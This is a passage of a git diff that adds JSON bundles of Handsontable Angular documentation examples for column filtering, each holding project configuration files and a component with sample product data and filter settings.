'03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ];\n\n readonly hotSettings: GridSettings = {\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu, but display only the filter menu items\n dropdownMenu: ['filter_by_condition', 'filter_by_value', 'filter_action_bar'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-filter/angular/example2.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"example2","exampleTitle":"Enable filtering (2)","docPermalink":"/column-filter","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example3.ts.json new file mode 100644 index 00000000..f31025bf --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example3.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Column filter · Enable filtering for individual columns (2) · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport Handsontable from 'handsontable';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example3',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ];\n\n readonly hotSettings: GridSettings = {\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering for all columns\n filters: true,\n // enable the column menu for all columns\n // but display only the 'Filter by value' list and the 'OK' and 'Cancel' buttons\n dropdownMenu: {\n items: {\n filter_by_value: {\n // hide the 'Filter by value' list from all columns but the first one\n hidden(this: Handsontable) {\n const col = this.getSelectedRangeLast()?.to.col;\n return col != null && col > 0;\n },\n },\n filter_action_bar: {\n // hide the 'OK' and 'Cancel' buttons from all columns but the first one\n hidden(this: Handsontable) {\n const col = this.getSelectedRangeLast()?.to.col;\n return col != null && col > 0;\n },\n },\n clear_column: {\n // hide the 'Clear column' menu item from the first column\n hidden(this: Handsontable) {\n const col = this.getSelectedRangeLast()?.to.col;\n return col != null && col < 1;\n },\n },\n },\n },\n // `afterGetColHeader()` is a Handsontable hook\n // it's fired after Handsontable appends information about a column header to the table header\n afterGetColHeader(col: number, TH: HTMLElement) {\n // remove the column menu button from the 'Brand', 'Price', and 'Date' columns\n if (col > 1) {\n const button = TH.querySelector('.changeType');\n\n if (!button) {\n return;\n }\n\n button.parentElement?.removeChild(button);\n }\n },\n height: 'auto',\n // @ts-ignore\n example: 'exampleEnableFilterInColumns',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-filter/angular/example3.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"example3","exampleTitle":"Enable filtering for individual columns (2)","docPermalink":"/column-filter","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example4.ts.json new file mode 100644 index 00000000..6fc3add4 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example4.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Column filter · Filter different types of data (2) · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example4',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n {\n model: 'Racing Socks',\n size: 'S',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n color: 'Black',\n },\n {\n model: 'HL Mountain Shirt',\n size: 'XS',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n color: 'White',\n },\n {\n model: 'Cycling Cap',\n size: 'L',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n color: 'Green',\n },\n {\n model: 'Ski Jacket',\n size: 'M',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n color: 'Blue',\n },\n {\n model: 'HL Goggles',\n size: 'XL',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n color: 'Black',\n },\n ];\n\n readonly hotSettings: GridSettings = {\n columns: [\n {\n title: 'Model',\n // set the type of the 'Model' column\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n // set the type of the 'Price' column\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Sold on',\n // set the type of the 'Date' column\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n // set the type of the 'Time' column\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n // set the type of the 'In stock' column\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n {\n title: 'Size',\n // set the type of the 'Size' column\n type: 'dropdown',\n data: 'size',\n source: ['XS', 'S', 'M', 'L', 'XL'],\n className: 'htCenter',\n },\n {\n title: 'Color',\n // set the type of the 'Size' column\n type: 'autocomplete',\n data: 'color',\n source: ['White', 'Black', 'Yellow', 'Blue', 'Green'],\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n height: 175,\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-filter/angular/example4.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"example4","exampleTitle":"Filter different types of data (2)","docPermalink":"/column-filter","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example5.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example5.ts.json new file mode 100644 index 00000000..c19c886b --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example5.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Column filter · Filter data on initialization (2) · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport Handsontable from 'handsontable';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example5',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ];\n\n readonly hotSettings: GridSettings = {\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n // `afterInit()` is a Handsontable hook: it's fired after the Handsontable instance is initiated\n afterInit(this: Handsontable) {\n // get the `Filters` plugin, so you can use its API\n const filters = this.getPlugin('filters');\n\n // filter data by the 'Price' column (column at index 2)\n // to display only items that are less than ('lt') $200\n filters.addCondition(2, 'lt', [200]);\n filters.filter();\n },\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-filter/angular/example5.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"example5","exampleTitle":"Filter data on initialization (2)","docPermalink":"/column-filter","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example6.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example6.ts.json new file mode 100644 index 00000000..fedf00ac --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__angular__example6.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Column filter · External quick filter (2) · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
